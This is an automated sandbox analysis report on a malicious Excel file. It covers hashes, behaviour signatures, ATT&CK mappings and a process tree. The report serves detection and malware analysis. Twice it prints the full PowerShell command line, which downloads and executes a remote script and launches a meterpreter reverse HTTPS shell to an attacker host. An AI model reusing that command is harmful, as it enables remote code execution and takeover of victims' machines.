473f5d2bb2e7518268fdb7a9fb439b802ffc4f9aa76ac3fcdbbd60d58cc44dac

Analysis

max time kernel
24s
max time network
17s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
10/07/2024, 21:50

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General

Target
473f5d2bb2e7518268fdb7a9fb439b802ffc4f9aa76ac3fcdbbd60d58cc44dac.xls
Size 44KB
Sample240710-1pz3cssanl
SHA256 473f5d2bb2e7518268fdb7a9fb439b802ffc4f9aa76ac3fcdbbd60d58cc44dac
MD5 3d2b24d0a1db0e82fa1f254924128354
SHA1 1cecd46eac6c6aadbb5fb6a1869337328400e745
SHA512 3a8c459a1d67f69b7558832821cc78a3f4571597a9ce4969edc9aea4947ff791b1fe47206c0ef229c5e3f5d13f632c33358be3198ba260a5123c5fd72d644948
SSDEEP 768:Stvo+eUk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJET+juFlmQQcAOJ9acv9acyL:6/k3hbdlylKsgqopeJBWhZFGkE+cL2Ni
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

ps1.dropper
https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2552	2740	powershell.exe	30
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	3036	656	wscript.exe	29

Blocklisted process makes network request 4 IoCs

flow	pid	Process
3	2552	powershell.exe
4	2552	powershell.exe
5	840	powershell.exe
6	840	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2552	powershell.exe
840	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

flow	ioc
5	raw.githubusercontent.com
6	raw.githubusercontent.com
2	raw.githubusercontent.com
3	raw.githubusercontent.com
4	raw.githubusercontent.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
656	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2552	powershell.exe
840	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2552	powershell.exe
Token: SeDebugPrivilege	840	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
656	EXCEL.EXE
656	EXCEL.EXE
656	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 656 wrote to memory of 3036	656	EXCEL.EXE	33
PID 656 wrote to memory of 3036	656	EXCEL.EXE	33
PID 656 wrote to memory of 3036	656	EXCEL.EXE	33
PID 656 wrote to memory of 3036	656	EXCEL.EXE	33
PID 3036 wrote to memory of 840	3036	wscript.exe	34
PID 3036 wrote to memory of 840	3036	wscript.exe	34
PID 3036 wrote to memory of 840	3036	wscript.exe	34
PID 3036 wrote to memory of 840	3036	wscript.exe	34

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\473f5d2bb2e7518268fdb7a9fb439b802ffc4f9aa76ac3fcdbbd60d58cc44dac.xls
1⤵
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:656
- C:\Windows\SysWOW64\wscript.exe
  wscript C:\Users\Public\config.vbs
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3036
- - C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:840

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2552

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

ZFDFAA2G89Y8RBFL72IM.temp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZFDFAA2G89Y8RBFL72IM.temp
Size 7KB
SHA256 b158f4e2aabf9dd6534a624cfb9985002a1c5a78abf2b715f823ab20442904b7
MD5 82460860ad1a71cb7a0cf84af75ef5e4
SHA1 a4f1742fc9d139acc2f8d974ff501a48a9cad1e2
SHA512 a4911f79ae521b938bcfc82720a4e4cee9846457a19684e7e109cbf13ecefc3a395cd8bfdf2288ab939f8c04a858166b04e756f0b37746bb7ef641819395912d
SSDEEP 96:EJHOCNM8bnqvsqvJCwonJHOCNM8bnqvsEHyqvJCworMEyVQHmH7HUXlUVe:UH7/UoJH7/AHnorMPTH7HUx
MD5 SHA1 SHA512 SSDEEP

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config.vbs

Path C:\Users\Public\config.vbs
Size 461B
SHA256 df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17
MD5 ce52ab154163c511f0efa6a61e22ab64
SHA1 9f12cc215e15802eddcb02cb5370ef16b21fa3a6
SHA512 cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78
MD5 SHA1 SHA512

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memory/656-49-0x00000000062D0000-0x00000000063D0000-memory.dmp

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memory/656-18-0x00000000062D0000-0x00000000063D0000-memory.dmp

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memory/656-38-0x00000000062D0000-0x00000000063D0000-memory.dmp

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memory/656-37-0x00000000062D0000-0x00000000063D0000-memory.dmp

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memory/656-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

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memory/656-1-0x0000000072BED000-0x0000000072BF8000-memory.dmp

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memory/656-48-0x0000000072BED000-0x0000000072BF8000-memory.dmp

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memory/656-17-0x00000000062D0000-0x00000000063D0000-memory.dmp

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memory/656-50-0x00000000062D0000-0x00000000063D0000-memory.dmp

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memory/656-51-0x00000000062D0000-0x00000000063D0000-memory.dmp

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memory/656-52-0x00000000062D0000-0x00000000063D0000-memory.dmp

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memory/2552-45-0x0000000001E80000-0x0000000001E88000-memory.dmp

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memory/2552-44-0x000000001B730000-0x000000001BA12000-memory.dmp

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